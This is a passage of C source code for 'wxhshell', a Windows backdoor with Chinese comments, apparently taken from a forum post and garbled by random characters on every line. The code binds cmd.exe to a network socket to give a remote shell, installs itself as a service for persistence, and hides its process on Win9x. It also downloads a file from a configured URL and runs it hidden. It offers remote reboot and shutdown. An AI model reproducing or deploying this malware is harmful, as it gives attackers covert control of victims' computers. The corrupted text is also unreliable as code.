YZ>L_$:q  
    switch(cmd[0]) { x$q}lJv_  
  z)M#9oAM  
  // 帮助 'I>USl3hI  
  case '?': { PA'&]piPl:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |$\K/]q -  
    break; Mp/l*"(  
  } X,G<D}  
  // 安装 NK qI x  
  case 'i': { 4s 7 RB  
    if(Install()) lk>\6o:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *47/BLys<  
    else V8/4:Va7 s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - VJx)g  
    break; Z3&}C h  
    } G4'Ia$  
  // 卸载 Lf(( zk:pt  
  case 'r': { 1 !_p  
    if(Uninstall()) u"&?u+1j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0(6n8i  
    else n~UI 47  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wH?)ZL  
    break; + ,Krq 3P  
    } l/={aF7+  
  // 显示 wxhshell 所在路径 D^4nT,&8  
  case 'p': { Oa/zE H  
    char svExeFile[MAX_PATH]; P<IDb%W  
    strcpy(svExeFile,"\n\r"); %M`48TW)  
      strcat(svExeFile,ExeFile); SE\?8cs]-  
        send(wsh,svExeFile,strlen(svExeFile),0); o MJ `_  
    break; l Xa/5QKC  
    } 2VRGTx  
  // 重启 i2Wvu3,D3-  
  case 'b': { 9^F3r]bH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $w*L' <  
    if(Boot(REBOOT)) Dnd; N/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e@vtJaSu  
    else { %)7t2D  
    closesocket(wsh); `rVru= zoy  
    ExitThread(0); Hk*1Wrs*  
    } d1/WUKmbZ  
    break; @$jV"Y  
    } a qEZhMy  
  // 关机 >[Vc$[62  
  case 'd': { p=:Vpg<!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }gQ2\6o2g  
    if(Boot(SHUTDOWN)) J'Pyn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o*)Sg6Yk  
    else { 4fs d5#  
    closesocket(wsh); SO6)FiPy!n  
    ExitThread(0); dCi:@+z8  
    } dJgLS^1E  
    break; ;~<To9O  
    } ^7y t>  
  // 获取shell 3`cA!ZVQ  
  case 's': { GCJ[xn(_  
    CmdShell(wsh); srf}+>u&  
    closesocket(wsh); u0L-xC$L  
    ExitThread(0); YTa g|If  
    break; ^($'l)I  
  } xuv W6Q;  
  // 退出 G{!er:Vwdh  
  case 'x': { rD=D.1_   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^i%S}VK  
    CloseIt(wsh); ?zBu` 7j  
    break; :C>7HEh-2_  
    } >>J3"XHX  
  // 离开 Nhs!_-_I  
  case 'q': { bvtpqI QZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tle`O)&uo  
    closesocket(wsh); E@ :9|5  
    WSACleanup(); U=bx30brh%  
    exit(1); 8)0]cX  
    break; 0:v !'  
        } -qj[ck(y  
  } rk8pL[|  
  } N; }$!sNIm  
ZwDL  
  // 提示信息 lfj5?y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OL 0YjU@  
} S[K5ofV  
  } p{L;)WTI  
1*8;)#%&  
  return; 6=;:[  
} $/M-@3wro  
Z i6s0Uck  
// shell模块句柄 V8/d27\  
int CmdShell(SOCKET sock) -US:a8`  
{ zz*PAYl.  
STARTUPINFO si; (S!UnBb&  
ZeroMemory(&si,sizeof(si)); Q~]oN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +fk*c[FG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7z$Z=cs  
PROCESS_INFORMATION ProcessInfo; 2{h2]F  
char cmdline[]="cmd";  tA#$q;S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fi HE`]0  
  return 0; 8Q Try%  
} ceG\Q2  
aLh(8;$  
// 自身启动模式 sYS 8]JU  
int StartFromService(void) #p(c{L!  
{ t,9+G<)>H  
typedef struct 2V@5:tf  
{ *5PQ>d G  
  DWORD ExitStatus; /f[Ek5/-0  
  DWORD PebBaseAddress; 3wv@wqx  
  DWORD AffinityMask; rL-R-;Ca  
  DWORD BasePriority; G0 EXgq8  
  ULONG UniqueProcessId; 1)= H2n4)  
  ULONG InheritedFromUniqueProcessId; dCoP qKy  
}   PROCESS_BASIC_INFORMATION; z[f]mU  
+S{m!j%B  
PROCNTQSIP NtQueryInformationProcess; Sl8+A+  
Dd1k?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yd3lL:M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o:#jvi84F  
[k$GUU,jY  
  HANDLE             hProcess; 0HWSdf|w  
  PROCESS_BASIC_INFORMATION pbi; =CFjG)L  
4dbX!0u1l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9CS" s_  
  if(NULL == hInst ) return 0; 'f{13-# X@  
q(qm3OxYo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c= t4 gf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c6F?#@?   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =u2~=t=LV  
|>(Vo@  
  if (!NtQueryInformationProcess) return 0; 9\Gk)0  
eI ( S)q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2-'_Nwkl*  
  if(!hProcess) return 0; >IS4  
fR[8O\U~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J~K O#`  
c $1u  
  CloseHandle(hProcess); JAHg_!  
U1:m=!S;x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WuE]pm]c  
if(hProcess==NULL) return 0; &n | <NF  
|y7TYjg6  
HMODULE hMod; M<Bo<,!ua  
char procName[255]; n*9QSyJN]  
unsigned long cbNeeded; m u9,vH  
P1OYS\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C1{Q 4(K%  
FZgf"XM>  
  CloseHandle(hProcess); B-LV/WJ_  
)$p36dWl  
if(strstr(procName,"services")) return 1; // 以服务启动 U)'YR$2<  
(^~a1@f,J  
  return 0; // 注册表启动 OD}Uc+;K  
} \'=svJ   
7a_8007$l  
// 主模块 nP*DZC0kE&  
int StartWxhshell(LPSTR lpCmdLine) ]A[}:E 5}  
{ cWnEp';.  
  SOCKET wsl; >0SG]er@  
BOOL val=TRUE; z>+CMH5L)  
  int port=0; ]foS.D,  
  struct sockaddr_in door; I8i|tQz  
V #vkj  
  if(wscfg.ws_autoins) Install(); /QS Nv  
5q4wREh  
port=atoi(lpCmdLine); +9LzDH  
j(I(0Yyh  
if(port<=0) port=wscfg.ws_port; %J6>Vc!ix=  
EiD41N  
  WSADATA data; 0<uL0FOT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J_+2]X7n  
;ZJ. 7t'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gmu[UI}w8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,^CG\);  
  door.sin_family = AF_INET; ?ZTA3mV?+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i= ^6nwD&  
  door.sin_port = htons(port); _ l)3pm6  
L|{vkkBo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -^_^ByJe  
closesocket(wsl); : HU|BJ>  
return 1; [2Y@O7;n I  
} @sa_/LH!K  
TyO]|Q5  
  if(listen(wsl,2) == INVALID_SOCKET) { ;]R5:LbXS  
closesocket(wsl); maSVqG  
return 1; *pO`sC>  
} 43=)akJi  
  Wxhshell(wsl); @}^VA9ULK  
  WSACleanup(); ~d<&OL  
Z!q$d/1  
return 0; .,VLQ btg  
`E;xI v|  
} uYO$gRem  
-m ,Y6  
// 以NT服务方式启动 j7Zv"Vq@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h+_:zWU  
{ `}ZtK574  
DWORD   status = 0; 18~jUYMV  
  DWORD   specificError = 0xfffffff; 9h+T O_T@F  
>BJBM |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wg k[_i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3 q8S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o=![+g  
  serviceStatus.dwWin32ExitCode     = 0; #3>jgluM'  
  serviceStatus.dwServiceSpecificExitCode = 0;  ^0{t  
  serviceStatus.dwCheckPoint       = 0; Kl?C[  
  serviceStatus.dwWaitHint       = 0; WOgkv(5KN  
Nj?Q{ztS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E i2M~/  
  if (hServiceStatusHandle==0) return; #$ka.Pj  
HOPl0fY$L  
status = GetLastError(); 6%9 kc+ 9  
  if (status!=NO_ERROR) ijcF[bm E  
{ `"V}Wq ?I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,9KnC=_y  
    serviceStatus.dwCheckPoint       = 0; N3Q .4? z9  
    serviceStatus.dwWaitHint       = 0; .i;?8?  
    serviceStatus.dwWin32ExitCode     = status; 7#&Q-3\:  
    serviceStatus.dwServiceSpecificExitCode = specificError; [@pumH>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jz0AYiCq  
    return; $PlMyLu7jc  
  } =Y^K   
U0W2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S6JWsi4C:,  
  serviceStatus.dwCheckPoint       = 0; ]:n9MFv  
  serviceStatus.dwWaitHint       = 0; );S8`V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b"Nd8f[  
} Rw63{b/  
J`; 9Z  
// 处理NT服务事件,比如:启动、停止 K4RQ{fWpm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 00>knCe6  
{ aU.!+e%_  
switch(fdwControl) EpT^r8I  
{ 8B "^}y\0  
case SERVICE_CONTROL_STOP: &\ad.O/Q  
  serviceStatus.dwWin32ExitCode = 0; U.Z5;E0:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Bkc93  
  serviceStatus.dwCheckPoint   = 0; 5)rN#_BKj  
  serviceStatus.dwWaitHint     = 0; -`X`Ff  
  { cl{mRt0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I !lR 7%  
  } M`9|8f,!a  
  return; |<8Fa%!HHc  
case SERVICE_CONTROL_PAUSE: VV[Fb9W ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _K!)0p  
  break; 1'\s7P  
case SERVICE_CONTROL_CONTINUE: -) +B!"1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }t|i1{%_  
  break; BNO+-ob-  
case SERVICE_CONTROL_INTERROGATE: X-CoC   
  break; ,t*H: *  
}; +'w6=qI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hoiC J}us  
} yr.sfPnJK  
%Yg|QBm|  
// 标准应用程序主函数 n b*`GE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xe\v6gbD  
{ ^FTS'/Q  
#op0|:/N  
// 获取操作系统版本 Hh&qjf  
OsIsNt=GetOsVer(); IO2@^jup  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T;,,!  
& \C1QkI  
  // 从命令行安装 j]mnH`#BL  
  if(strpbrk(lpCmdLine,"iI")) Install(); _Db&f}.`  
Z;;A#h'%e  
  // 下载执行文件 4)XB3$<  
if(wscfg.ws_downexe) { aM_O0Rn==  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^ME'D  
  WinExec(wscfg.ws_filenam,SW_HIDE); "F Etl(  
} .rX,*|1x  
,sg\K> H=  
if(!OsIsNt) { >oi?aD%  
// 如果时win9x,隐藏进程并且设置为注册表启动 \IqCC h  
HideProc(); 4l> d^L  
StartWxhshell(lpCmdLine); S C}@eA'  
} D '% O<.m  
else ]$-<< N{}'  
  if(StartFromService()) N>)Db  
  // 以服务方式启动 iG=Di)O  
  StartServiceCtrlDispatcher(DispatchTable); {DUtdu[  
else u&o$2 '8  
  // 普通方式启动 {([`[7B>a<  
  StartWxhshell(lpCmdLine);  BJg  
8WKY 4nkj  
return 0; ^HE@ [b  
}
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只看该作者 1 发表于: 2006-10-10
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